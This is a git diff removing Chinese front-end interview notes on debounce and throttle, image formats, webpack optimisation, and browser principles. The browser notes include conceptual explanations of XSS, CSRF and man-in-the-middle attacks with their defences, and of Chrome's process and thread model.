四、节流与防抖 - -### 1. 对节流与防抖的理解 - -- 函数防抖是指在事件被触发 n 秒后再执行回调,如果在这 n 秒内事件又被触发,则重新计时。这可以使用在一些点击请求的事件上,避免因为用户的多次点击向后端发送多次请求。 -- 函数节流是指规定一个单位时间,在这个单位时间内,只能有一次触发事件的回调函数执行,如果在同一个单位时间内某事件被触发多次,只有一次能生效。节流可以使用在 scroll 函数的事件监听上,通过事件节流来降低事件调用的频率。 - -**防抖函数的应用场景:** - -- 按钮提交场景:防⽌多次提交按钮,只执⾏最后提交的⼀次 -- 服务端验证场景:表单验证需要服务端配合,只执⾏⼀段连续的输⼊事件的最后⼀次,还有搜索联想词功能类似⽣存环境请⽤lodash.debounce - -**节流函数的适⽤场景:** - -- 拖拽场景:固定时间内只执⾏⼀次,防⽌超⾼频次触发位置变动 -- 缩放场景:监控浏览器resize -- 动画场景:避免短时间内多次触发动画引起性能问题 - -### 2. 实现节流函数和防抖函数 - -**函数防抖的实现:** - -```javascript -function debounce(fn, wait) { - var timer = null; - - return function() { - var context = this, - args = [...arguments]; - - // 如果此时存在定时器的话,则取消之前的定时器重新记时 - if (timer) { - clearTimeout(timer); - timer = null; - } - - // 设置定时器,使事件间隔指定事件后执行 - timer = setTimeout(() => { - fn.apply(context, args); - }, wait); - }; -} -``` - -**函数节流的实现:** - -```javascript -// 时间戳版 -function throttle(fn, delay) { - var preTime = Date.now(); - - return function() { - var context = this, - args = [...arguments], - nowTime = Date.now(); - - // 如果两次时间间隔超过了指定时间,则执行函数。 - if (nowTime - preTime >= delay) { - preTime = Date.now(); - return fn.apply(context, args); - } - }; -} - -// 定时器版 -function throttle (fun, wait){ - let timeout = null - return function(){ - let context = this - let args = [...arguments] - if(!timeout){ - timeout = setTimeout(() => { - fun.apply(context, args) - timeout = null - }, wait) - } - } -} -``` - -## 五、图片优化 - -### 1. 如何对项目中的图片进行优化? - -1. 不用图片。很多时候会使用到很多修饰类图片,其实这类修饰图片完全可以用 CSS 去代替。 -2. 对于移动端来说,屏幕宽度就那么点,完全没有必要去加载原图浪费带宽。一般图片都用 CDN 加载,可以计算出适配屏幕的宽度,然后去请求相应裁剪好的图片。 -3. 小图使用 base64 格式 -4. 将多个图标文件整合到一张图片中(雪碧图) -5. 选择正确的图片格式: - - 对于能够显示 WebP 格式的浏览器尽量使用 WebP 格式。因为 WebP 格式具有更好的图像数据压缩算法,能带来更小的图片体积,而且拥有肉眼识别无差异的图像质量,缺点就是兼容性并不好 - - 小图使用 PNG,其实对于大部分图标这类图片,完全可以使用 SVG 代替 - - 照片使用 JPEG - -### 2. 常见的图片格式及使用场景 - -(1)**BMP**,是无损的、既支持索引色也支持直接色的点阵图。这种图片格式几乎没有对数据进行压缩,所以BMP格式的图片通常是较大的文件。 - -(2)**GIF**是无损的、采用索引色的点阵图。采用LZW压缩算法进行编码。文件小,是GIF格式的优点,同时,GIF格式还具有支持动画以及透明的优点。但是GIF格式仅支持8bit的索引色,所以GIF格式适用于对色彩要求不高同时需要文件体积较小的场景。 - -(3)**JPEG**是有损的、采用直接色的点阵图。JPEG的图片的优点是采用了直接色,得益于更丰富的色彩,JPEG非常适合用来存储照片,与GIF相比,JPEG不适合用来存储企业Logo、线框类的图。因为有损压缩会导致图片模糊,而直接色的选用,又会导致图片文件较GIF更大。 - -(4)**PNG-8**是无损的、使用索引色的点阵图。PNG是一种比较新的图片格式,PNG-8是非常好的GIF格式替代者,在可能的情况下,应该尽可能的使用PNG-8而不是GIF,因为在相同的图片效果下,PNG-8具有更小的文件体积。除此之外,PNG-8还支持透明度的调节,而GIF并不支持。除非需要动画的支持,否则没有理由使用GIF而不是PNG-8。 - -(5)**PNG-24**是无损的、使用直接色的点阵图。PNG-24的优点在于它压缩了图片的数据,使得同样效果的图片,PNG-24格式的文件大小要比BMP小得多。当然,PNG24的图片还是要比JPEG、GIF、PNG-8大得多。 - -(6)**SVG**是无损的矢量图。SVG是矢量图意味着SVG图片由直线和曲线以及绘制它们的方法组成。当放大SVG图片时,看到的还是线和曲线,而不会出现像素点。这意味着SVG图片在放大时,不会失真,所以它非常适合用来绘制Logo、Icon等。 - -(7)**WebP**是谷歌开发的一种新图片格式,WebP是同时支持有损和无损压缩的、使用直接色的点阵图。从名字就可以看出来它是为Web而生的,什么叫为Web而生呢?就是说相同质量的图片,WebP具有更小的文件体积。现在网站上充满了大量的图片,如果能够降低每一个图片的文件大小,那么将大大减少浏览器和服务器之间的数据传输量,进而降低访问延迟,提升访问体验。目前只有Chrome浏览器和Opera浏览器支持WebP格式,兼容性不太好。 - -- 在无损压缩的情况下,相同质量的WebP图片,文件大小要比PNG小26%; -- 在有损压缩的情况下,具有相同图片精度的WebP图片,文件大小要比JPEG小25%~34%; -- WebP图片格式支持图片透明度,一个无损压缩的WebP图片,如果要支持透明度只需要22%的格外文件大小。 - -## 六、Webpack优化 - -### 1. 如何提⾼**webpack**的打包速度? - -#### (1)优化 Loader - -对于 Loader 来说,影响打包效率首当其冲必属 Babel 了。因为 Babel 会将代码转为字符串生成 AST,然后对 AST 继续进行转变最后再生成新的代码,项目越大,**转换代码越多,效率就越低**。当然了,这是可以优化的。 - -首先我们**优化 Loader 的文件搜索范围** - -```javascript -module.exports = { - module: { - rules: [ - { - // js 文件才使用 babel - test: /\.js$/, - loader: 'babel-loader', - // 只在 src 文件夹下查找 - include: [resolve('src')], - // 不会去查找的路径 - exclude: /node_modules/ - } - ] - } -} -``` - -对于 Babel 来说,希望只作用在 JS 代码上的,然后 `node_modules` 中使用的代码都是编译过的,所以完全没有必要再去处理一遍。 - -当然这样做还不够,还可以将 Babel 编译过的文件**缓存**起来,下次只需要编译更改过的代码文件即可,这样可以大幅度加快打包时间 - -```javascript -loader: 'babel-loader?cacheDirectory=true' -``` - -#### (2)HappyPack - -受限于 Node 是单线程运行的,所以 Webpack 在打包的过程中也是单线程的,特别是在执行 Loader 的时候,长时间编译的任务很多,这样就会导致等待的情况。 - -**HappyPack 可以将 Loader 的同步执行转换为并行的**,这样就能充分利用系统资源来加快打包效率了 - -```javascript -module: { - loaders: [ - { - test: /\.js$/, - include: [resolve('src')], - exclude: /node_modules/, - // id 后面的内容对应下面 - loader: 'happypack/loader?id=happybabel' - } - ] -}, -plugins: [ - new HappyPack({ - id: 'happybabel', - loaders: ['babel-loader?cacheDirectory'], - // 开启 4 个线程 - threads: 4 - }) -] -``` - -#### (3)DllPlugin - -**DllPlugin 可以将特定的类库提前打包然后引入**。这种方式可以极大的减少打包类库的次数,只有当类库更新版本才有需要重新打包,并且也实现了将公共代码抽离成单独文件的优化方案。DllPlugin的使用方法如下: - -```javascript -// 单独配置在一个文件中 -// webpack.dll.conf.js -const path = require('path') -const webpack = require('webpack') -module.exports = { - entry: { - // 想统一打包的类库 - vendor: ['react'] - }, - output: { - path: path.join(__dirname, 'dist'), - filename: '[name].dll.js', - library: '[name]-[hash]' - }, - plugins: [ - new webpack.DllPlugin({ - // name 必须和 output.library 一致 - name: '[name]-[hash]', - // 该属性需要与 DllReferencePlugin 中一致 - context: __dirname, - path: path.join(__dirname, 'dist', '[name]-manifest.json') - }) - ] -} -``` - -然后需要执行这个配置文件生成依赖文件,接下来需要使用 `DllReferencePlugin` 将依赖文件引入项目中 - -```javascript -// webpack.conf.js -module.exports = { - // ...省略其他配置 - plugins: [ - new webpack.DllReferencePlugin({ - context: __dirname, - // manifest 就是之前打包出来的 json 文件 - manifest: require('./dist/vendor-manifest.json'), - }) - ] -} -``` - -#### (4)代码压缩 - -在 Webpack3 中,一般使用 `UglifyJS` 来压缩代码,但是这个是单线程运行的,为了加快效率,可以使用 `webpack-parallel-uglify-plugin` 来并行运行 `UglifyJS`,从而提高效率。 - -在 Webpack4 中,不需要以上这些操作了,只需要将 `mode` 设置为 `production` 就可以默认开启以上功能。代码压缩也是我们必做的性能优化方案,当然我们不止可以压缩 JS 代码,还可以压缩 HTML、CSS 代码,并且在压缩 JS 代码的过程中,我们还可以通过配置实现比如删除 `console.log` 这类代码的功能。 - -#### (5)其他 - -可以通过一些小的优化点来加快打包速度 - -- `resolve.extensions`:用来表明文件后缀列表,默认查找顺序是 `['.js', '.json']`,如果你的导入文件没有添加后缀就会按照这个顺序查找文件。我们应该尽可能减少后缀列表长度,然后将出现频率高的后缀排在前面 -- `resolve.alias`:可以通过别名的方式来映射一个路径,能让 Webpack 更快找到路径 -- `module.noParse`:如果你确定一个文件下没有其他依赖,就可以使用该属性让 Webpack 不扫描该文件,这种方式对于大型的类库很有帮助 - -### 2. 如何减少 Webpack 打包体积 - -#### (1)按需加载 - -在开发 SPA 项目的时候,项目中都会存在很多路由页面。如果将这些页面全部打包进一个 JS 文件的话,虽然将多个请求合并了,但是同样也加载了很多并不需要的代码,耗费了更长的时间。那么为了首页能更快地呈现给用户,希望首页能加载的文件体积越小越好,**这时候就可以使用按需加载,将每个路由页面单独打包为一个文件**。当然不仅仅路由可以按需加载,对于 `loadash` 这种大型类库同样可以使用这个功能。 - -按需加载的代码实现这里就不详细展开了,因为鉴于用的框架不同,实现起来都是不一样的。当然了,虽然他们的用法可能不同,但是底层的机制都是一样的。都是当使用的时候再去下载对应文件,返回一个 `Promise`,当 `Promise` 成功以后去执行回调。 - -#### (2)Scope Hoisting - -**Scope Hoisting 会分析出模块之间的依赖关系,尽可能的把打包出来的模块合并到一个函数中去。** - -比如希望打包两个文件: - -```javascript -// test.java -export const a = 1 -// index.js -import { a } from './test.java' -``` - -对于这种情况,打包出来的代码会类似这样: - -```javascript -[ - /* 0 */ - function (module, exports, require) { - //... - }, - /* 1 */ - function (module, exports, require) { - //... - } -] -``` - -但是如果使用 Scope Hoisting ,代码就会尽可能的合并到一个函数中去,也就变成了这样的类似代码: - -```javascript -[ - /* 0 */ - function (module, exports, require) { - //... - } -] -``` - -这样的打包方式生成的代码明显比之前的少多了。如果在 Webpack4 中你希望开启这个功能,只需要启用 `optimization.concatenateModules` 就可以了: - -```javascript -module.exports = { - optimization: { - concatenateModules: true - } -} -``` - -#### (3)Tree Shaking - -**Tree Shaking 可以实现删除项目中未被引用的代码**,比如: - -``` -// test.java -export const a = 1 -export const b = 2 -// index.js -import { a } from './test.java' -``` - -对于以上情况,`test` 文件中的变量 `b` 如果没有在项目中使用到的话,就不会被打包到文件中。 - -如果使用 Webpack 4 的话,开启生产环境就会自动启动这个优化功能。 - -### 3. 如何⽤**webpack**来优化前端性能? - -⽤webpack优化前端性能是指优化webpack的输出结果,让打包的最终结果在浏览器运⾏快速⾼效。 - -- **压缩代码**:删除多余的代码、注释、简化代码的写法等等⽅式。可以利⽤webpack的 UglifyJsPlugin 和 ParallelUglifyPlugin 来压缩JS⽂件, 利⽤ cssnano (css-loader?minimize)来压缩css -- **利⽤CDN加速**: 在构建过程中,将引⽤的静态资源路径修改为CDN上对应的路径。可以利⽤webpack对于 output 参数和各loader的 publicPath 参数来修改资源路径 -- **Tree Shaking**: 将代码中永远不会⾛到的⽚段删除掉。可以通过在启动webpack时追加参数 --optimize-minimize 来实现 -- **Code Splitting:** 将代码按**路由维度**或者组件分块(chunk),这样做到按需加载,同时可以充分利⽤浏览器缓存 -- **提取公共第三⽅库**: SplitChunksPlugin插件来进⾏公共模块抽取,利⽤浏览器缓存可以⻓期缓存这些⽆需频繁变动的公共代码 - -### 4. 如何提⾼**webpack**的构建速度? - -1. 多⼊⼝情况下,使⽤ **CommonsChunkPlugin 来提取公共代码** -2. 通过 **externals 配置来提取常⽤库** -3. 利⽤ DllPlugin 和 DllReferencePlugin 预编译资源模块 通过 DllPlugin 来对那些我们引⽤但是绝对不会修改的npm包来进⾏预编译,再通过 DllReferencePlugin 将预编译的模块加载进来。 -4. 使⽤ Happypack 实现多线程加速编译 -5. 使⽤ webpack-uglify-parallel 来提升 uglifyPlugin 的压缩速度。 原理上 webpack-uglify-parallel 采⽤了多核并⾏压缩来提升压缩速度 -6. 使⽤ Tree-shaking 和 Scope Hoisting 来剔除多余代码 - diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/\351\235\242\350\257\225\351\242\230/\346\265\217\350\247\210\345\231\250\345\216\237\347\220\206\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/\351\235\242\350\257\225\351\242\230/\346\265\217\350\247\210\345\231\250\345\216\237\347\220\206\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" deleted file mode 100644 index fd6c618d..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/\351\235\242\350\257\225\351\242\230/\346\265\217\350\247\210\345\231\250\345\216\237\347\220\206\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" +++ /dev/null @@ -1,1729 +0,0 @@ -> [「2021」高频前端面试题汇总之浏览器原理篇](https://juejin.cn/post/6916157109906341902/) - -# 浏览器原理面试题汇总 - -## 一、浏览器安全 - -### 1. 什么是 XSS 攻击?:star::star: - -#### (1)概念 - -XSS 攻击指的是跨站脚本攻击,**是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息等**如 cookie (通过httpOnly避免)等。 - -**XSS 的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行。** - -攻击者可以通过这种攻击方式可以进行以下操作: - -- 获取页面的数据,如DOM、cookie、localStorage; -- DOS攻击,发送合理请求,占用服务器资源,从而使用户无法访问服务器; -- 破坏页面结构; -- 流量劫持(将链接指向某网站); - -#### (2)攻击类型 - -**XSS 可以分为存储型、反射型和 DOM 型:** - -- **存储型**指的是恶意脚本会存储在目标服务器上,当浏览器请求数据时,脚本从服务器传回并执行(受害范围大,影响人数多)。 -- **反射型**指的是攻击者诱导用户访问一个带有恶意代码的 **URL** 后,服务器端接收数据后处理,然后把带有恶意代码的数据发送到浏览器端,浏览器端解析这段带有 XSS 代码的数据后当做脚本执行,最终完成 XSS 攻击。 -- **DOM 型**指的通过修改页面的 DOM 节点形成的 XSS。 - -**1)存储型 XSS 的攻击步骤:** - -1. 攻击者将恶意代码提交到⽬标⽹站的数据库中。 -2. ⽤户打开⽬标⽹站时,⽹站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。 -3. ⽤户浏览器接收到响应后解析执⾏,混在其中的恶意代码也被执⾏。 -4. 恶意代码窃取⽤户数据并发送到攻击者的⽹站,或者冒充⽤户的⾏为,调⽤⽬标⽹站接⼝执⾏攻击者指定的操作。 - -这种攻击常⻅于带有⽤户保存数据的⽹站功能,如论坛发帖、商品评论、⽤户私信等。 - -**2)反射型 XSS 的攻击步骤:** - -1. 攻击者构造出特殊的 URL,其中包含恶意代码。 -2. ⽤户打开带有恶意代码的 URL 时,**⽹站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。** -3. ⽤户浏览器接收到响应后解析执⾏,混在其中的恶意代码也被执⾏。 -4. 恶意代码窃取⽤户数据并发送到攻击者的⽹站,或者冒充⽤户的⾏为,调⽤⽬标⽹站接⼝执⾏攻击者指定的操作。 - -**反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库⾥,反射型 XSS 的恶意代码存在 URL ⾥。** - -反射型 XSS 漏洞常⻅于通过 URL 传递参数的功能,如⽹站搜索、跳转等。 由于需要⽤户主动打开恶意的 URL 才能⽣效,攻击者往往会结合多种⼿段诱导⽤户点击。 - -**3)DOM 型 XSS 的攻击步骤:** - -1. 攻击者构造出特殊的 URL,其中包含恶意代码。 -2. ⽤户打开带有恶意代码的 URL。 -3. ⽤户浏览器接收到响应后解析执⾏,前端 JavaScript 取出 URL 中的恶意代码并执⾏。 -4. 恶意代码窃取⽤户数据并发送到攻击者的⽹站,或者冒充⽤户的⾏为,调⽤⽬标⽹站接⼝执⾏攻击者指定的操作。 - -DOM 型 XSS 跟前两种 XSS 的区别:**DOM 型 XSS 攻击中,取出和执⾏恶意代码由浏览器端完成,属于前端JavaScript ⾃身的安全漏洞,⽽其他两种 XSS 都属于服务端的安全漏洞。** - -### 2. 如何防御 XSS 攻击?:star::star: - -可以看到XSS危害如此之大, 那么在开发网站时就要做好防御措施,具体措施如下: - -- 可以从浏览器的执行来进行预防,**一种是使用纯前端的方式,不用服务器端拼接后返回(不使用服务端渲染)**。另一种是对需要插入到 HTML 中的代码做好充分的**转义**。对于 DOM 型的攻击,主要是前端脚本的不可靠而造成的,对于数据获取渲染和字符串拼接的时候应该对可能出现的恶意代码情况进行判断。 -- 使用 CSP ,CSP 的本质是建立一个白名单,告诉浏览器哪些外部资源可以加载和执行,从而防止恶意代码的注入攻击。 - -> 1. **CSP** 指的是**内容安全策略**,它的本质是建立一个**白名单**,告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截由浏览器自己来实现。 -> 2. 通常有两种方式来开启 CSP,一种是设置 HTTP 首部中的 Content-Security-Policy,一种是设置 meta 标签的方式 - -- 对**一些敏感信息进行保护,比如 cookie 使用 httpOnly**,使得脚本无法获取。也可以使用验证码,避免脚本伪装成用户执行一些操作。 - -### 3. 什么是 CSRF 攻击?:star::star: - -#### (1)概念 - -CSRF 攻击指的是**跨站请求伪造攻击**,攻击者诱导用户进入一个第三方网站,然后该网站向被攻击网站发送跨站请求。如果用户在被攻击网站中保存了登录状态,那么攻击者就可以利用这个登录状态,绕过后台的用户验证,冒充用户向服务器执行一些操作。 - -CSRF 攻击的**本质是利用 cookie 会在同源请求中携带发送给服务器的特点,以此来实现用户的冒充。** - -#### (2)攻击类型 - -常见的 CSRF 攻击有三种: - -- GET 类型的 CSRF 攻击,比如在网站中的一个 img 标签里构建一个请求,当用户打开这个网站的时候就会自动发起提交。 -- POST 类型的 CSRF 攻击,比如构建一个表单,然后隐藏它,当用户进入页面时,自动提交这个表单。 -- 链接类型的 CSRF 攻击,比如在 a 标签的 href 属性里构建一个请求,然后诱导用户去点击。 - -### 4. 如何防御 CSRF 攻击?:star::star: - -**CSRF 攻击可以使用以下方法来防护:** - -- **进行同源检测**,服务器根据 http 请求头中 **origin** 或者 **referer** 信息来判断请求是否为允许访问的站点,从而对请求进行过滤。当 origin 或者 referer 信息都不存在的时候,直接阻止请求。这种方式的缺点是有些情况下 referer 可以被伪造,同时还会把搜索引擎的链接也给屏蔽了。所以一般网站会允许搜索引擎的页面请求,但是相应的页面请求这种请求方式也可能被攻击者给利用。(Referer 字段会告诉服务器该网页是从哪个页面链接过来的) -- **使用 CSRF Token 进行验证**,服务器向用户返回一个随机数 Token ,当网站再次发起请求时,在请求参数中加入服务器端返回的 token ,然后服务器对这个 token 进行验证。这种方法解决了使用 cookie 单一验证方式时,可能会被冒用的问题,但是这种方法存在一个缺点就是,我们需要给网站中的所有请求都添加上这个 token,操作比较繁琐。还有一个问题是一般不会只有一台网站服务器,如果请求经过负载平衡转移到了其他的服务器,但是这个服务器的 session 中没有保留这个 token 的话,就没有办法验证了。这种情况可以通过改变 token 的构建方式来解决。 -- **对 Cookie 进行双重验证**,服务器在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串,然后当用户再次向服务器发送请求的时候,从 cookie 中取出这个字符串,添加到 URL 参数中,然后服务器通过对 cookie 中的数据和参数中的数据进行比较,来进行验证。使用这种方式是利用了攻击者只能利用 cookie,但是不能访问获取 cookie 的特点。并且这种方法比 CSRF Token 的方法更加方便,并且不涉及到分布式访问的问题。这种方法的缺点是如果网站存在 XSS 漏洞的,那么这种方式会失效。同时这种方式不能做到子域名的隔离。 -- **在设置 cookie 属性的时候设置 Samesite ,限制 cookie 不能作为被第三方使用**,从而可以避免被攻击者利用。Samesite 一共有两种模式,一种是严格模式,在严格模式下 cookie 在任何情况下都不可能作为第三方 Cookie 使用,在宽松模式下,cookie 可以被请求是 GET 请求,且会发生页面跳转的请求所使用。 - -### 5. 什么是中间人攻击?如何防范中间人攻击? - -中间⼈ (Man-in-the-middle attack, MITM) 是指攻击者与通讯的两端分别创建独⽴的联系, 并交换其所收到的数据, 使通讯的两端认为他们正在通过⼀个私密的连接与对⽅直接对话, 但事实上整个会话都被攻击者完全控制。在中间⼈攻击中,攻击者可以拦截通讯双⽅的通话并插⼊新的内容。 - -攻击过程如下: - -- 客户端发送请求到服务端,请求被中间⼈截获 -- 服务器向客户端发送公钥 -- 中间⼈截获公钥,保留在⾃⼰⼿上。然后⾃⼰⽣成⼀个**伪造的**公钥,发给客户端 -- 客户端收到伪造的公钥后,⽣成加密hash值发给服务器 -- 中间⼈获得加密hash值,⽤⾃⼰的私钥解密获得真秘钥,同时⽣成假的加密hash值,发给服务器 -- 服务器⽤私钥解密获得假密钥,然后加密数据传输给客户端 - -### 6. 有哪些可能引起前端安全的问题? - -- 跨站脚本 (Cross-Site Scripting, XSS): ⼀种代码注⼊⽅式, 为了与 CSS 区分所以被称作 XSS。早期常⻅于⽹络论坛, 起因是⽹站没有对⽤户的输⼊进⾏严格的限制, 使得攻击者可以将脚本上传到帖⼦让其他⼈浏览到有恶意脚本的⻚⾯, 其注⼊⽅式很简单包括但不限于 JavaScript / CSS / Flash 等; -- iframe的滥⽤: iframe中的内容是由第三⽅来提供的,默认情况下他们不受控制,他们可以在iframe中运⾏JavaScirpt脚本、Flash插件、弹出对话框等等,这可能会破坏前端⽤户体验(但对ifame的限制还是比较多的,突出体验这块); -- 跨站点请求伪造(Cross-Site Request Forgeries,CSRF): 指攻击者通过设置好的陷阱,强制对已完成认证的⽤户进⾏⾮预期的个⼈信息或设定信息等某些状态更新,属于被动攻击 -- 恶意第三⽅库: ⽆论是后端服务器应⽤还是前端应⽤开发,绝⼤多数时候都是在借助开发框架和各种类库进⾏快速开发,⼀旦第三⽅库被植⼊恶意代码很容易引起安全问题。 - -### 7. 网络劫持有哪几种,如何防范? - -⽹络劫持分为两种: - -(1)**DNS劫持**: (输⼊京东被强制跳转到淘宝这就属于dns劫持) - -> 修改目标源站 - -- DNS强制解析: 通过修改运营商的本地DNS记录,来引导⽤户流量到缓存服务器 -- 302跳转的⽅式: 通过监控⽹络出⼝的流量,分析判断哪些内容是可以进⾏劫持处理的,再对劫持的内存发起302跳转的回复,引导⽤户获取内容 - -(2)**HTTP劫持**: (访问⾕歌但是⼀直有贪玩蓝⽉的⼴告),由于http明⽂传输,运营商会修改你的http响应内容(即加⼴告) - -> 修改内容 - -DNS劫持由于涉嫌违法,已经被监管起来,现在很少会有DNS劫持,⽽http劫持依然⾮常盛⾏,最有效的办法就是全站HTTPS,将HTTP加密,这使得运营商⽆法获取明⽂,就⽆法劫持你的响应内容。 - -## 二、进程与线程 - -### 1. 进程与线程的概念 :star::star: - -从本质上说,进程和线程都是 CPU 工作时间片的一个描述: - -- 进程描述了 CPU 在运行指令及加载和保存上下文所需的时间,放在应用上来说就代表了一个程序。 -- 线程是进程中的更小单位,描述了执行一段指令所需的时间。 - -**:star:进程是资源分配的最小单位,线程是CPU调度的最小单位。**(两个最小单位) - -**一个进程就是一个程序的运行实例:** - -详细解释就是,启动一个程序的时候,操作系统会为该程序创建一块内存,用来存放代码、运行中的数据和一个执行任务的主线程,我们把这样的一个运行环境叫进程。进程是运行在虚拟内存上的,虚拟内存是用来解决用户对硬件资源的无限需求和有限的硬件资源之间的矛盾的。从操作系统角度来看,虚拟内存即交换文件;从处理器角度看,虚拟内存即虚拟地址空间。 - -如果程序很多时,内存可能会不够,操作系统为每个进程提供一套独立的虚拟地址空间,从而使得同一块物理内存在不同的进程中可以对应到不同或相同的虚拟地址,变相的增加了程序可以使用的内存。 - -进程和线程之间的关系有以下四个特点: - -**(1)进程中的任意一线程执行出错,都会导致整个进程的崩溃。** - -**(2)线程之间共享进程中的数据。** - -**(3)当一个进程关闭之后,操作系统会回收进程所占用的内存,** 当一个进程退出时,操作系统会回收该进程所申请的所有资源;即使其中任意线程因为操作不当导致内存泄漏,当进程退出时,这些内存也会被正确回收。 - -**(4)进程之间的内容相互隔离。** 进程隔离就是为了使操作系统中的进程互不干扰,每一个进程只能访问自己占有的数据,也就避免出现进程 A 写入数据到进程 B 的情况。正是因为进程之间的数据是严格隔离的,所以一个进程如果崩溃了,或者挂起了,是不会影响到其他进程的。如果进程之间需要进行数据的通信,这时候,就需要使用用于进程间通信的机制了。 - -**Chrome浏览器的架构图**: - -> 启动时至少启动4个进程 -> -> 网络,浏览器,GPU,渲染 - -![周鹏的个人博客](https://cdn.yihuiblog.top/images/202207010904740.png) - -从图中可以看出,最新的 Chrome 浏览器包括5个主要进行: - -- **1 个浏览器主进程** -- **1 个 GPU 进程** -- **1 个网络进程** -- **多个渲染进程** -- **多个插件进程** - -这些进程的功能: - -- **浏览器进程**:主要负责界面显示、用户交互、子进程管理,同时提供存储等功能。 -- **渲染进程(Renderer)**:核心任务是将 HTML、CSS 和 JavaScript 转换为用户可以与之交互的网页,排版引擎 Blink 和 JavaScript 引擎 V8 都是运行在该进程中,默认情况下,Chrome 会为每个 Tab 标签创建一个渲染进程。出于安全考虑,渲染进程都是运行在沙箱模式下。 -- **GPU 进程**:其实, GPU 的使用初衷是为了实现 3D CSS 的效果,只是随后网页、Chrome 的 UI 界面都选择采用 GPU 来绘制,这使得 GPU 成为浏览器普遍的需求。最后,Chrome 在其多进程架构上也引入了 GPU 进程。 -- **网络进程**:主要负责页面的网络资源加载,之前是作为一个模块运行在浏览器进程里面的,直至最近才独立出来,成为一个单独的进程。 -- **插件进程**:主要是负责插件的运行,因插件易崩溃,所以需要通过插件进程来隔离,以保证插件进程崩溃不会对浏览器和页面造成影响。 - -所以,**打开一个网页,最少需要四个进程**:1 个网络进程、1 个浏览器进程、1 个 GPU 进程以及 1 个渲染进程。如果打开的页面有运行插件的话,还需要再加上 1 个插件进程。 - -虽然多进程模型提升了浏览器的稳定性、流畅性和安全性,但同样不可避免地带来了一些问题: - -- **更高的资源占用**:因为每个进程都会包含公共基础结构的副本(如 JavaScript 运行环境),这就意味着浏览器会消耗更多的内存资源。 -- **更复杂的体系架构**:浏览器各模块之间耦合性高、扩展性差等问题,会导致现在的架构已经很难适应新的需求了。 - -### 2. 进程和线程的区别 :star::star: - -- 进程可以看做独立应用,线程不能 -- **资源:**进程是cpu资源分配的最小单位(是能拥有资源和独立运行的最小单位);线程是cpu调度的最小单位(线程是建立在进程的基础上的一次程序运行单位,一个进程中可以有多个线程)。 -- **通信方面:**线程间可以通过直接共享同一进程中的资源,而进程通信需要借助进程间通信方案。 -- **调度:**进程切换比线程切换的开销要大。线程是CPU调度的基本单位,线程的切换不会引起进程切换,但某个进程中的线程切换到另一个进程中的线程时,会引起进程切换。 -- **系统开销:**由于创建或撤销进程时,系统都要为之分配或回收资源,如内存、I/O 等,其开销远大于创建或撤销线程时的开销。同理,在进行进程切换时,涉及当前执行进程 CPU 环境还有各种各样状态的保存及新调度进程状态的设置,而线程切换时只需保存和设置少量寄存器内容,开销较小。 - -### 3. 浏览器渲染进程(Renderer进程)的线程有哪些 - -浏览器的渲染进程的线程总共有五种: - -![浏览器渲染进程的线程有哪些_不点外卖的博客-CSDN博客_渲染进程有哪些线程](https://cdn.yihuiblog.top/images/202207010905221.png) - -**(1)GUI渲染线程**。 负责渲染浏览器页面,解析HTML、CSS,构建DOM树、构建CSSOM树、构建渲染树和绘制页面;当界面需要**重绘**或由于某种操作引发**回流**时,该线程就会执行。 - -注意:GUI渲染线程和JS引擎线程是互斥的,当JS引擎执行时GUI线程会被挂起,GUI更新会被保存在一个队列中等到JS引擎空闲时立即被执行。 - -**(2)JS引擎线程**。JS引擎线程也称为JS内核,负责处理Javascript脚本程序,解析Javascript脚本,运行代码;JS引擎线程一直等待着任务队列中任务的到来,然后加以处理,一个Tab页中无论什么时候都只有一个JS引擎线程在运行JS程序; - -注意:GUI渲染线程与JS引擎线程的互斥关系,所以如果JS执行的时间过长,会造成页面的渲染不连贯,导致页面渲染加载阻塞。 - -**(3)时间触发线程**。 **时间触发线程**属于浏览器而不是JS引擎,用来控制事件循环;当JS引擎执行代码块如setTimeOut时(也可是来自浏览器内核的其他线程,如鼠标点击、AJAX异步请求等),会将对应任务添加到事件触发线程中;当对应的事件符合触发条件被触发时,该线程会把事件添加到待处理队列的队尾,等待JS引擎的处理; - -注意:由于JS的单线程关系,所以这些待处理队列中的事件都得排队等待JS引擎处理(当JS引擎空闲时才会去执行); - -**(4)定时器触发进程** **定时器触发进程**即setInterval与setTimeout所在线程;浏览器定时计数器并不是由JS引擎计数的,因为JS引擎是单线程的,如果处于阻塞线程状态就会影响记计时的准确性;因此使用单独线程来计时并触发定时器,计时完毕后,添加到事件队列中,等待JS引擎空闲后执行,所以定时器中的任务在设定的时间点不一定能够准时执行,定时器只是在指定时间点将任务添加到事件队列中; - -注意:W3C在HTML标准中规定,定时器的定时时间不能小于4ms,如果是小于4ms,则默认为4ms。 - -**(5)异步http请求线程** - -- XMLHttpRequest连接后通过浏览器新开一个线程请求; -- 检测到状态变更时,如果设置有回调函数,异步线程就产生状态变更事件,将回调函数放入事件队列中,等待JS引擎空闲后执行; - -### 4. 进程之间的通信方式 :star::star: - -> 死的次数比较多 - -**(1)管道通信** - -> 开辟缓冲区,拷贝交互数据 - -管道是一种最基本的进程间通信机制。**管道就是操作系统在内核中开辟的一段缓冲区,进程1可以将需要交互的数据拷贝到这段缓冲区,进程2就可以读取了。** - -管道的特点: - -- 只能单向通信 -- 只能有**血缘关系**的进程进行通信 -- 依赖于文件系统 -- 生命周期随进程 -- 面向字节流的服务 -- 管道内部提供了同步机制 - -**(2)消息队列通信** - -> 维护一个数据块的消息列表 - 